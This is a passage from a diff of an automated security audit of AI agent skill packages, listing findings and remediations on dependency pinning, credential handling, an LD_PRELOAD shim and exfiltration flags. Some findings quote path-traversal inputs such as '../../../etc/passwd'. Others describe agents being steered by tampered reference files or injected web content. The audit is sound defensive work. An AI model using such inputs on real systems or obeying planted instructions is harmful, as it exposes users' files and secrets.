(e.g., 'pip install markitdown[pptx]==0.x.y', 'pip install Pillow==10.x.y', 'npm install -g [email protected]'). Consider using a requirements.txt or package.json with locked versions.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Dynamic Compilation and LD_PRELOAD Injection of Native Code+ > The soffice.py script dynamically compiles a C source file at runtime using gcc and then injects the resulting shared library via LD_PRELOAD into the LibreOffice process. This is a significant capability: it writes C code to a temp file, compiles it, and loads it into a subprocess via LD_PRELOAD. While the C code itself (a socket shim) appears benign and is intended to work around AF_UNIX socket restrictions in sandboxed environments, this pattern is a powerful code injection mechanism. If the _SHIM_SOURCE constant were modified (e.g., via a supply chain attack or skill modification), arbitrary native code could be injected into the LibreOffice process. The compiled .so is written to a predictable path in /tmp, which could also be subject to race conditions.+ > File: `scripts/office/soffice.py`+ > **Remediation:** 1. Bundle the pre-compiled shim as a binary asset rather than compiling at runtime. 2. Use a non-predictable temp path (e.g., tempfile.mkstemp) to avoid TOCTOU races. 3. Verify the shim exists and has expected properties before use. 4. Document this behavior clearly in the skill manifest.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access in soffice.py+ > The soffice.py helper calls os.environ.copy() to build the environment for subprocess calls. While this is a common and often necessary pattern for passing environment variables to child processes, it means the full process environment (which may contain secrets, tokens, or credentials) is copied and passed to the soffice subprocess. The static analyzer flagged this as a potential environment variable exfiltration pattern. In this context, the environment is passed to a local LibreOffice process, not to a remote server, so the risk is low. However, it is worth noting that if the soffice binary were replaced or compromised, it would receive all environment variables.+ > File: `scripts/office/soffice.py`+ > **Remediation:** Consider filtering the environment to only pass variables required by LibreOffice rather than copying the entire process environment. At minimum, document that this passes all environment variables to the subprocess.### protocolsio-integration — 🟡 MEDIUM-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Access Token Handling Risk - Tokens Passed as Plaintext in Instructions- > The skill instructions repeatedly reference using access tokens (CLIENT_ACCESS_TOKEN, OAUTH_ACCESS_TOKEN) and include example code with placeholder 'YOUR_ACCESS_TOKEN' strings. The instructions direct the agent to include tokens in Authorization headers for all API calls. If a user provides a real token, the agent will use it in network requests to protocols.io. While the skill itself does not exfiltrate tokens, the pattern of handling sensitive credentials in agent context increases the risk of token exposure through conversation logs, context windows, or misuse.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analyzer Detected Cross-File Environment Variable Exfiltration Chain+ > The pre-scan static analysis flagged BEHAVIOR_ENV_VAR_EXFILTRATION, BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN, and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 2 files. While the provided skill content does not contain explicit Python scripts with these behaviors, the static analyzer detected environment variable access combined with network calls across multiple files. This warrants attention as the skill handles OAuth credentials and makes network calls to protocols.io API endpoints. The combination of credential handling and network transmission creates a potential exfiltration surface.> File: `SKILL.md`- > **Remediation:** Instruct users to store tokens in environment variables rather than passing them directly. Add explicit guidance that tokens should never be pasted into the conversation. Reference secure token storage patterns.+ > **Remediation:** Audit all Python files in the skill package (including any not provided in this analysis) for environment variable reads combined with outbound network calls. Ensure all network calls go exclusively to protocols.io API endpoints and not to third-party or attacker-controlled domains. Add explicit domain allowlisting in any scripts.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License Information- > The skill manifest declares 'Unknown' for the license field. While not a direct security threat, this lack of provenance information makes it difficult to assess the trustworthiness and legal standing of the skill package.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata+ > The skill has no license specified (listed as 'Unknown') and no compatibility field. While these are optional fields, the absence of a license is notable for a skill that handles OAuth tokens, API credentials, and potentially sensitive scientific data. Users cannot assess the trust level of this skill without provenance information.> File: `SKILL.md`- > **Remediation:** Specify a valid open source license (e.g., MIT, Apache 2.0) in the manifest to establish clear provenance.+ > **Remediation:** Add a valid SPDX license identifier, specify compatibility, and consider adding allowed-tools to constrain the skill's operational scope.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Retry Logic Could Cause Resource Exhaustion- > The error handling example in SKILL.md implements retry logic with exponential backoff but uses a fixed max_retries=3 with time.sleep() calls. While bounded, the pattern could be extended or misused. More importantly, the retry logic for 429 (rate limit) errors uses the server-provided Retry-After header value with no upper bound cap, meaning a malicious or misconfigured server could return a very large Retry-After value causing the agent to sleep indefinitely.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Token Handling Guidance Lacks Secure Storage Enforcement+ > The skill instructs users to store access tokens and OAuth credentials but provides no mechanism to enforce secure storage. The Python examples use placeholder strings like 'YOUR_ACCESS_TOKEN' directly in code, which could encourage users to hardcode real tokens. The skill does mention best practices but does not enforce them programmatically.> File: `SKILL.md`- > **Remediation:** Cap the maximum sleep duration from Retry-After headers (e.g., max 300 seconds). Add a total timeout for the entire retry sequence to prevent indefinite blocking.+ > **Remediation:** Update examples to demonstrate reading tokens from environment variables (os.environ.get) or a secrets manager rather than inline string literals. Add explicit warnings against hardcoding tokens.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility and Allowed-Tools Metadata- > The skill does not specify 'compatibility' or 'allowed-tools' fields in the YAML manifest. While these are optional fields, their absence means there are no declared constraints on which tools the agent may use when executing this skill, potentially allowing broader tool access than necessary.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Skill Instructs Agent to Read and Follow External Reference Files Without Validation+ > The skill instructs the agent to read multiple reference files (authentication.md, protocols_api.md, discussions.md, workspaces.md, file_manager.md, additional_features.md) and follow their guidance. Several of these files are referenced from multiple path variants (references/, assets/, templates/) and some are not found. If any of these files were replaced or tampered with, the agent would follow their instructions without validation. This creates a transitive trust risk where the agent's behavior is delegated to file contents that could be modified.> File: `SKILL.md`- > **Remediation:** Add explicit 'allowed-tools' and 'compatibility' fields to the manifest to constrain the skill's tool access to only what is needed (e.g., Bash for HTTP requests).+ > **Remediation:** Ensure reference files are integrity-checked (e.g., via checksums). Limit the scope of instructions that can be delegated to reference files. Avoid instructing the agent to 'follow guidance' from files that could be externally modified.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description Enabling Excessive Activation+ > The skill description is extremely broad, covering protocol discovery, creation, updating, publishing, step management, materials, discussions, workspaces, file management, experiment tracking, and integration projects. While this matches the actual documented functionality, the description is designed to trigger activation across a very wide range of scientific workflow scenarios, potentially causing the skill to be invoked more broadly than necessary.+ > File: `SKILL.md`+ > **Remediation:** Narrow the description to focus on the primary use case. Avoid listing every possible sub-feature in the activation description to reduce over-broad triggering.- **🟡 MEDIUM** `MDBLOCK_PYTHON_HTTP_POST` — Python code block sends HTTP POST request> Code block in SKILL.md at line 283 contains potentially dangerous Python code.@@ -2358,54 +2555,49 @@> File: `SKILL.md:310`> **Remediation:** Review the code block for security implications.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — OAuth Client Secret Exposure Risk- > The authentication reference files describe an OAuth flow that requires a 'client_secret' parameter. The instructions do not include adequate warnings about protecting this secret, and the example flows show it being passed as a parameter. If a user follows these instructions and provides their client_secret in conversation, it could be exposed in logs or context.- > File: `references/authentication.md`- > **Remediation:** Add explicit warnings that client_secret must never be shared in conversation or stored in code. Recommend environment variable storage and reference secure credential management practices.-### pufferlib — 🟡 MEDIUM-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field- > The SKILL.md manifest does not specify the allowed-tools field. While this is optional per the spec, the skill executes Python scripts (train_template.py, env_template.py) that perform file system operations (os.makedirs, file writes for checkpoints), network operations (WandB/Neptune logging), and GPU access. Declaring allowed-tools would improve transparency about the skill's capabilities.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Multiple Referenced Files Not Found in Skill Package+ > The SKILL.md instructions reference numerous files that are not present in the skill package: assets/vectorization.md, assets/training.md, pufferlib.py, templates/policies.md, templates/vectorization.md, torch.py, templates/environments.md, assets/policies.md, templates/training.md, assets/environments.md, assets/integration.md, gymnasium.py, templates/integration.md. The presence of references to pufferlib.py, torch.py, and gymnasium.py as local files is unusual — these are third-party library names, and if the agent attempts to read them as local files, it could inadvertently read unexpected content or be confused about the skill's scope.> File: `SKILL.md`- > **Remediation:** Add allowed-tools: [Python, Bash] to the YAML frontmatter to explicitly declare the tools this skill uses.+ > **Remediation:** Remove references to non-existent files or ensure all referenced files are bundled with the skill package. Rename any local files that shadow well-known library names (pufferlib.py, torch.py, gymnasium.py) to avoid confusion.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — No Dependency Version Pinning in Installation Instructions- > The installation instruction uses 'uv pip install pufferlib' without pinning a specific version. This means the skill will always install the latest version of pufferlib, which could introduce breaking changes or, in a supply chain attack scenario, a compromised version. The skill also imports several optional dependencies (wandb, neptune) without version constraints.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md manifest does not specify the allowed-tools field. While this is optional per the spec, the skill executes Python scripts that perform file I/O, network calls (via WandB/Neptune loggers), and subprocess-level operations (torchrun distributed training). Declaring allowed tools would improve transparency about the skill's capabilities.> File: `SKILL.md`- > **Remediation:** Pin the dependency to a specific version: 'uv pip install pufferlib==X.Y.Z'. Consider adding a requirements.txt with pinned versions for all dependencies including torch, gymnasium, pettingzoo, wandb, and neptune-client.+ > **Remediation:** Add 'allowed-tools: [Python, Bash]' to the YAML frontmatter to explicitly declare the tools this skill uses.- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Neptune API Token Passed via Command-Line Argument- > The training script accepts a Neptune API token via the --neptune-token command-line argument and passes it directly to NeptuneLogger. While this is a common pattern, passing secrets as CLI arguments exposes them in process listings (ps aux), shell history, and system logs. The token is also stored in the parsed args namespace and passed via vars(args) to WandbLogger config, potentially logging the token to experiment tracking systems.- > File: `scripts/train_template.py:97`- > **Remediation:** Use environment variables (os.environ.get('NEPTUNE_API_TOKEN')) instead of CLI arguments for secrets. Exclude sensitive fields from config logging: config={k:v for k,v in vars(args).items() if 'token' not in k.lower()}.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Checkpoint Directory Created Without Path Validation- > The training script creates a checkpoint directory using os.makedirs with a user-supplied path (args.checkpoint_dir, default 'checkpoints'). While the default is benign, if a user passes an absolute path like /etc/cron.d or a path traversal like ../../sensitive_dir, the script will create directories there. Checkpoint files are also written to this user-controlled path.- > File: `scripts/train_template.py:185`- > **Remediation:** Validate that args.checkpoint_dir is a relative path or within an expected base directory. Use os.path.abspath and check it starts with an allowed prefix before creating directories or writing files.+ > The training script accepts a Neptune API token via the --neptune-token command-line argument and passes it directly to NeptuneLogger. While this is a common pattern, passing secrets as CLI arguments exposes them in process listings (ps aux), shell history, and logs. The token is also stored in args namespace and passed via vars(args) to the logger config, potentially logging the secret to monitoring systems.+ > File: `scripts/train_template.py:100`+ > **Remediation:** Use environment variables (os.environ.get('NEPTUNE_API_TOKEN')) instead of CLI arguments for secrets. Exclude sensitive fields from config logging by filtering vars(args) before passing to WandbLogger.### pymatgen — 🟡 MEDIUM-- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies- > The SKILL.md instructions recommend installing pymatgen and mp-api without version pins using 'uv pip install pymatgen' and 'uv pip install mp-api'. Unpinned dependencies are vulnerable to supply chain attacks where a malicious version of a package could be published and automatically installed. Given that pymatgen is a large library with extensive system access capabilities (file I/O, network calls, subprocess execution), a compromised version could exfiltrate materials data, API keys, or other sensitive information.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Placeholder in Documentation Could Lead to Accidental Exposure+ > The SKILL.md documentation includes placeholder API key strings in multiple code examples (e.g., 'your_api_key_here'). While these are clearly placeholders, the documentation also shows the pattern of passing the API key directly to MPRester as a string argument, which could encourage users to hardcode their actual API keys in scripts derived from these examples.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to specific versions: 'uv pip install pymatgen==2024.x.x mp-api==0.x.x'. Consider using a requirements.txt or pyproject.toml with locked versions and hash verification.+ > **Remediation:** Remove the example showing direct string passing to MPRester and only show the environment variable pattern. Add an explicit warning in the documentation against hardcoding API keys in scripts.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Documented in Plaintext Examples- > The SKILL.md and references/materials_project_api.md both contain examples showing the API key being passed as a string literal: MPRester("your_api_key_here"). While these are placeholder examples, they normalize the pattern of hardcoding API keys in code. Additionally, the materials_project_api.md reference shows an alternative pattern of explicitly passing the API key as a positional argument, which could lead users to hardcode real keys.- > File: `SKILL.md`- > **Remediation:** Remove examples showing explicit API key passing as string literals. Only document the environment variable approach. Add a warning note that API keys should never be hardcoded in scripts.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility and Allowed-Tools Metadata- > The skill manifest does not specify 'compatibility' or 'allowed-tools' fields. The scripts use Python execution, file system access (read and write), and network calls to external APIs. Without declared allowed-tools, the agent has no declared constraints on what tools it can use. This is informational per the spec (optional fields) but reduces transparency about the skill's actual capabilities.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies+ > The SKILL.md installation instructions use unpinned package versions (e.g., 'uv pip install pymatgen', 'uv pip install mp-api'). The requirements section specifies only minimum versions ('pymatgen >= 2023.x') rather than exact pinned versions. This exposes the skill to supply chain attacks where a compromised version of pymatgen or mp-api could be installed.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' and 'compatibility' fields to the YAML frontmatter to clearly document the skill's tool requirements and intended execution environments.+ > **Remediation:** Pin exact dependency versions in a requirements.txt or pyproject.toml file (e.g., pymatgen==2024.6.10, mp-api==0.41.2). Use a lock file to ensure reproducible installations. Consider using a hash-verified installation approach.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Accessed via Environment Variable with Network Calls- > The phase_diagram_generator.py script reads the MP_API_KEY environment variable and passes it directly to MPRester for network calls to the Materials Project API. While this is a legitimate and documented pattern for this library, the static analyzer flagged it as a potential env var exfiltration chain. In context, this is expected behavior for the Materials Project API integration. The risk is low because the key is only used for the intended Materials Project API endpoint, not exfiltrated to a third-party server. However, there is no validation that the API endpoint being called is the legitimate Materials Project server, and the key is passed as a positional argument which could be logged.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Accessed from Environment Variable with Network Calls+ > The phase_diagram_generator.py script reads the MP_API_KEY environment variable and passes it directly to MPRester for network calls to the Materials Project API. While this is a legitimate and documented pattern for this library, the static analyzer flagged it as a potential env var exfiltration chain. In context, this is expected behavior for the Materials Project integration and not malicious. The key is read from the environment (not hardcoded) and used only for the intended API. However, if a malicious structure file or user input could influence the API endpoint or inject additional data, there could be risk.> File: `scripts/phase_diagram_generator.py:57`- > **Remediation:** This is expected behavior for Materials Project integration. Ensure the mp-api package is pinned to a specific version to prevent supply chain attacks that could redirect the API key. Consider using MPRester() without explicit key passing (it reads the env var internally) to avoid key appearing in call stacks.+ > **Remediation:** This is standard practice for the Materials Project API. Ensure the MPRester endpoint is not configurable by user input. Consider validating the chemsys input strictly (only allow element symbols separated by hyphens) before passing to the API to prevent any injection into the API call.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Insufficient Input Validation on Chemical System Argument+ > The phase_diagram_generator.py script accepts a chemical system string (e.g., 'Li-Fe-O') from command-line arguments and passes it directly to mpr.get_entries_in_chemsys() after only a minimal check that it contains at least 2 elements. The validation only checks that splitting by '-' yields at least 2 tokens, but does not validate that each token is a valid element symbol. A malicious or malformed input could potentially cause unexpected behavior in the API call or downstream processing.+ > File: `scripts/phase_diagram_generator.py:175`+ > **Remediation:** Validate each element token against a whitelist of known periodic table element symbols before passing to the API. Use a regex like r'^[A-Z][a-z]?$' for each token, or validate against pymatgen's Element class to ensure only valid element symbols are accepted.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unvalidated File Path Input in Structure Scripts+ > Both structure_converter.py and structure_analyzer.py accept file paths from command-line arguments and pass them directly to Structure.from_file() without path traversal validation. While this is a CLI tool and the risk is lower than a web service, a user could potentially supply paths like '../../../etc/passwd' or other sensitive system files. The pymatgen parser would likely fail gracefully, but there is no explicit path sanitization.+ > File: `scripts/structure_converter.py:55`+ > **Remediation:** Validate that input file paths resolve within expected directories. Use Path.resolve() and check that the resolved path is within an allowed base directory. Additionally, validate file extensions against a whitelist of supported structure formats before attempting to parse.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/pymatgen/scripts/phase_diagram_generator.py@@ -2414,1359 +2606,1153 @@### rowan — 🟡 MEDIUM-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Referenced Script Files Not Found - Potential Missing Security Controls- > The SKILL.md references two Python files (rdkit.py and rowan.py) that were not found in the skill package. The static pre-scan identified cross-file exfiltration chains across 6 files and environment variable access with network calls. The absence of these referenced files means their actual behavior cannot be audited. If these files are loaded at runtime from an external source or are present in a deployment not captured here, they could contain data exfiltration logic (environment variable harvesting + network calls) as flagged by the static analyzer.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with External Network Calls+ > The static pre-scan flagged multiple instances of environment variable access combined with network calls across 6 Python files in the skill package. The skill reads ROWAN_API_KEY from the environment and transmits it to external Rowan API endpoints. While this is the intended authentication mechanism, the pattern of reading sensitive environment variables and sending them over the network represents a data exposure risk if the API endpoint or network path is compromised, or if the skill is invoked in an environment with broader environment variable access than intended. The referenced files rowan.py and rdkit.py were not found for inspection, preventing full verification of the data flow.> File: `SKILL.md`- > **Remediation:** Ensure all referenced script files are included in the skill package for auditability. Audit rdkit.py and rowan.py for environment variable access patterns combined with network calls. Verify that ROWAN_API_KEY and other environment variables are only accessed for their intended purpose and not transmitted to unexpected endpoints. Pin the rowan-python package to a specific version to prevent supply chain attacks.+ > **Remediation:** Ensure the rowan-python library only transmits the API key to the official Rowan API endpoint over HTTPS. Verify the rowan-python package is pinned to a specific version to prevent supply chain substitution. Document clearly which environment variables are accessed and what external endpoints receive them.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Exposure in Inline Code Examples- > The SKILL.md instruction body contains multiple inline code examples that show the API key being set directly in Python code (e.g., `rowan.api_key = "your_api_key_here"`). While these are placeholder values, the pattern encourages users to hardcode API keys in scripts rather than using environment variables exclusively. The skill does mention the environment variable approach as 'recommended' but the inline assignment pattern is repeated throughout the document and in the Quick Start section, normalizing insecure credential handling.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation in Quick Start+ > The skill instructs installation of 'rowan-python' without a pinned version (e.g., 'uv pip install rowan-python' or 'pip install rowan-python'). An unpinned dependency could resolve to a malicious or compromised future version of the package. Given that this package handles API key transmission and molecular data, a supply chain compromise could lead to credential theft or data exfiltration.> File: `SKILL.md`- > **Remediation:** Remove or de-emphasize inline API key assignment patterns. Consistently promote only the environment variable approach (ROWAN_API_KEY). Add explicit warnings against hardcoding API keys in scripts that may be committed to version control.+ > **Remediation:** Pin the package to a specific known-good version (e.g., 'pip install rowan-python==X.Y.Z'). Include a hash verification step or reference the package's official PyPI page and integrity checksums. Consider adding a note about verifying the package source.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Webhook Secret Printed to Console in Examples- > Multiple code examples in SKILL.md print webhook secrets directly to the console output (e.g., `print(f"Secret key: {secret.secret}")`). This pattern, if followed by users, could expose webhook secrets in logs, terminal history, CI/CD output, or shared screen sessions.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Hardcoding Pattern Encouraged in Documentation+ > The SKILL.md instructions include code examples that demonstrate hardcoding the API key directly in Python source code (rowan.api_key = 'your_api_key_here'). While the documentation also mentions the environment variable approach as 'recommended', the inline hardcoding pattern is shown prominently in the Quick Start section and multiple other examples, which may encourage users or the agent to embed credentials directly in scripts.> File: `SKILL.md`- > **Remediation:** Remove print statements that output secrets in example code. Replace with guidance to store secrets securely (e.g., environment variables, secret managers) rather than printing them.+ > **Remediation:** Remove or de-emphasize the inline API key assignment pattern in examples. Consistently show only the environment variable approach (ROWAN_API_KEY) in all code samples, and add an explicit warning against hardcoding credentials in scripts.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Batch Submission Without Rate Limiting or Credit Guards- > The batch submission patterns in SKILL.md submit workflows in a tight loop without any rate limiting, credit checks, or upper bounds on the number of submissions. A user following these patterns with a large compound list could inadvertently exhaust their Rowan credits or trigger API rate limits. The skill does not instruct the agent to warn users about credit consumption before submitting large batches.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Referenced Script Files Not Found - Cannot Verify Data Handling+ > The SKILL.md references two Python files (rowan.py and rdkit.py) that were not found in the skill package. The static analyzer detected cross-file exfiltration chains across 6 files, but these referenced files could not be inspected. This prevents full verification of how API keys, molecular data, and user inputs are handled. The absence of these files means the agent may attempt to import or execute code that is not bundled with the skill, potentially fetching it from an external source.> File: `SKILL.md`- > **Remediation:** Add guidance to check available credits before large batch submissions using `rowan.whoami().credits_available_string`. Include recommended batch size limits and suggest chunking large submissions. Instruct the agent to warn users about estimated credit costs before submitting batches above a threshold.+ > **Remediation:** Ensure all referenced files are bundled within the skill package. If rowan.py and rdkit.py are intended as the installed library modules rather than local files, remove the references from the skill manifest's referenced files list to avoid confusion. Audit all 6 Python files flagged by the static analyzer for the cross-file exfiltration chain.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Broad Trigger Keywords May Cause Over-Activation- > The skill's trigger-keywords metadata includes very broad terms such as 'chemistry workflow', 'drug discovery', 'SMILES', and 'protein structure'. These are common terms in scientific computing contexts and could cause the skill to activate in situations where it is not the most appropriate tool, potentially leading to unnecessary API credit consumption or unexpected behavior when users are working with other chemistry tools.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Trigger Keywords in Manifest+ > The skill manifest includes a broad set of trigger keywords ('pKa prediction, molecular docking, conformer search, chemistry workflow, drug discovery, SMILES, protein structure, batch molecular modeling, cloud chemistry') that could cause the skill to activate across a wide range of chemistry-related queries beyond its intended scope. While these keywords are relevant to the skill's stated purpose, the breadth could lead to unintended activation in contexts where simpler or local tools would be more appropriate.> File: `SKILL.md`- > **Remediation:** Narrow trigger keywords to more specific Rowan-platform terms (e.g., 'rowan workflow', 'rowan API', 'rowan docking') to reduce false-positive activations and unintended credit consumption.+ > **Remediation:** Narrow trigger keywords to the most specific use cases where Rowan's cloud infrastructure is genuinely required, avoiding overly generic terms like 'chemistry workflow' that could match many unrelated queries.-### scikit-survival — 🟡 MEDIUM+### scientific-critical-thinking — 🟡 MEDIUM-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Suspicious Static Analysis Findings: Environment Variable Access with Network Calls- > The pre-scan static analysis flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 3 files, and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 3 files. The skill manifest lists 3 Python files in the file inventory (python: 3) but the skill submission shows 'No script files found' and references to 'sklearn.py' and 'sksurv.py' as not found. This discrepancy suggests there may be hidden or unsubmitted Python scripts that contain environment variable access combined with network calls - a classic data exfiltration pattern. The static analyzer detected these patterns but the files were not provided for review.- > **Remediation:** Audit all Python files in the skill package (sklearn.py, sksurv.py, and any others) for environment variable access (os.environ, os.getenv) combined with network calls (requests, urllib, http.client). Remove any code that reads environment variables and transmits them externally. Ensure all Python files are reviewed before deployment.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Environment Variable Access Combined with Network Calls+ > The pre-scan static analysis detected BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION patterns across Python files in this skill package. Although no Python scripts were surfaced in the provided content, the static analyzer identified 3 Python files and flagged a cross-file exfiltration chain involving 2 files. The SKILL.md itself references OPENROUTER_API_KEY as an environment variable that is read and transmitted to an external API (OpenRouter). If any of the unreported Python scripts read environment variables beyond OPENROUTER_API_KEY and transmit them externally, this constitutes a data exfiltration risk.+ > File: `SKILL.md`+ > **Remediation:** Provide full content of all Python scripts for review. Ensure only the explicitly declared OPENROUTER_API_KEY is accessed and transmitted, and only to the documented OpenRouter endpoint. Audit all environment variable reads in the Python files and confirm no additional sensitive variables (AWS credentials, SSH keys, tokens) are accessed or transmitted.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — External URLs Referenced in Instructions Without Validation Warning- > The SKILL.md instructions reference external URLs (https://scikit-survival.readthedocs.io/ and https://github.com/sebp/scikit-survival) as 'Additional Resources.' If the agent is instructed to fetch content from these URLs, any malicious content hosted there could constitute indirect prompt injection. While these are legitimate well-known URLs, the skill does not explicitly warn against fetching and executing instructions from external sources.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Third-Party API Data Transmission Disclosure Present but Warrants Attention+ > The skill correctly discloses that AI schematic generation sends user prompts to OpenRouter (a third-party API). However, the disclosure is embedded in optional usage instructions and may not be prominent enough for users who invoke the scientific-schematics skill indirectly. User-provided scientific content (potentially sensitive unpublished research) could be transmitted externally if the user does not notice the disclosure.> File: `SKILL.md`- > **Remediation:** Add explicit guidance that the agent should not fetch and execute instructions from external URLs. Mark these as reference links for human users only, not for automated fetching by the agent.+ > **Remediation:** The disclosure is present and appropriate. Consider making it more prominent (e.g., a warning block or bold header) so users are less likely to miss it before invoking the schematic generation feature.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description in Manifest- > The skill description is very broad, claiming to handle 'any survival analysis workflow with the scikit-survival library.' While this is a documentation/reference skill, the description could trigger the skill for a wide range of queries beyond its actual scope. The description lists many specific trigger keywords (Cox models, Random Survival Forests, Gradient Boosting, Survival SVMs, concordance index, Brier score, competing risks) which could cause over-activation.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Referenced File Paths Suggesting Multiple Fallback Locations+ > The skill references the same logical files under multiple directory prefixes (references/, templates/, assets/) for each resource (e.g., logical_fallacies.md appears as references/logical_fallacies.md, templates/logical_fallacies.md, and assets/logical_fallacies.md). While this may be an attempt at robustness, it inflates the apparent file footprint and could cause the agent to search broadly across the filesystem for these files, potentially reading unintended files if similarly named files exist in those directories.> File: `SKILL.md`- > **Remediation:** Narrow the description to more precisely describe the skill's actual function (providing reference documentation and code examples for scikit-survival). Avoid listing exhaustive trigger keywords in the description field.+ > **Remediation:** Consolidate references to a single canonical directory (e.g., references/) and remove duplicate path variants. Only reference files that actually exist in the skill package.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility Metadata- > The skill manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the spec, their absence means there are no declared restrictions on what tools the agent can use when executing this skill. Given the skill references Python code examples and external URLs, declaring allowed tools would improve security posture.+- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — External API Invocation Not Fully Disclosed in allowed-tools+ > The skill declares allowed-tools as [Read, Write, Edit] but the instructions describe invoking an external Python script (scripts/generate_schematic.py) that makes outbound network calls to OpenRouter API. Network/Bash execution is not listed in allowed-tools, yet the instructions provide a bash command for running the script. This represents a minor tool restriction inconsistency where the declared tool set does not reflect the actual capability used.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools' to restrict the skill to only the tools it needs (e.g., Read for loading reference files). Add 'compatibility' to document supported environments.+ > **Remediation:** Add Bash and/or Python to the allowed-tools declaration if script execution is intended. Alternatively, clearly mark the schematic generation as an optional external workflow outside the skill's direct tool scope. Ensure the allowed-tools field accurately reflects all tools the skill may invoke.-### shap — 🟡 MEDIUM+### scvi-tools — 🟡 MEDIUM-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analyzer Flagged Environment Variable Exfiltration and Cross-File Exfiltration Chain- > The pre-scan static analyzer reported three significant behavioral findings: BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access with network calls detected), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain across 3 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file env var exfiltration across 3 files). The file inventory indicates 3 Python files exist in the package, but their content was not provided for analysis. These static findings suggest that Python scripts in the skill package may be reading environment variables (potentially containing credentials, API keys, or sensitive configuration) and transmitting them via network calls. The cross-file chain pattern suggests coordinated data collection and exfiltration across multiple scripts. This is a significant concern that warrants immediate investigation of the Python files.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analyzer Flagged Environment Variable Exfiltration Chain Across Missing Python Files+ > The pre-scan static analysis flagged three specific behavioral indicators: BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain spanning 3 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file env var exfiltration across 3 files). The skill package references two Python files (scvi.py and scanpy.py) that were not provided for review. These files are the most likely candidates for the flagged behavior. If these scripts read environment variables (e.g., API keys, credentials, AWS tokens) and transmit them over the network, this constitutes a critical data exfiltration risk.+ > **Remediation:** 1. Obtain and review the full contents of scvi.py and scanpy.py before deploying this skill. 2. Search for os.environ, os.getenv, subprocess calls, and network calls (requests, urllib, socket, httpx) in those files. 3. If environment variable access and network calls are confirmed in the same execution path, treat this as CRITICAL and remove or sandbox the offending code. 4. Ensure no credentials, tokens, or sensitive environment variables are transmitted to external endpoints.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Multiple Referenced Files Not Found in Package+ > Several files referenced in the SKILL.md instructions are not present in the skill package (e.g., assets/theoretical-foundations.md, 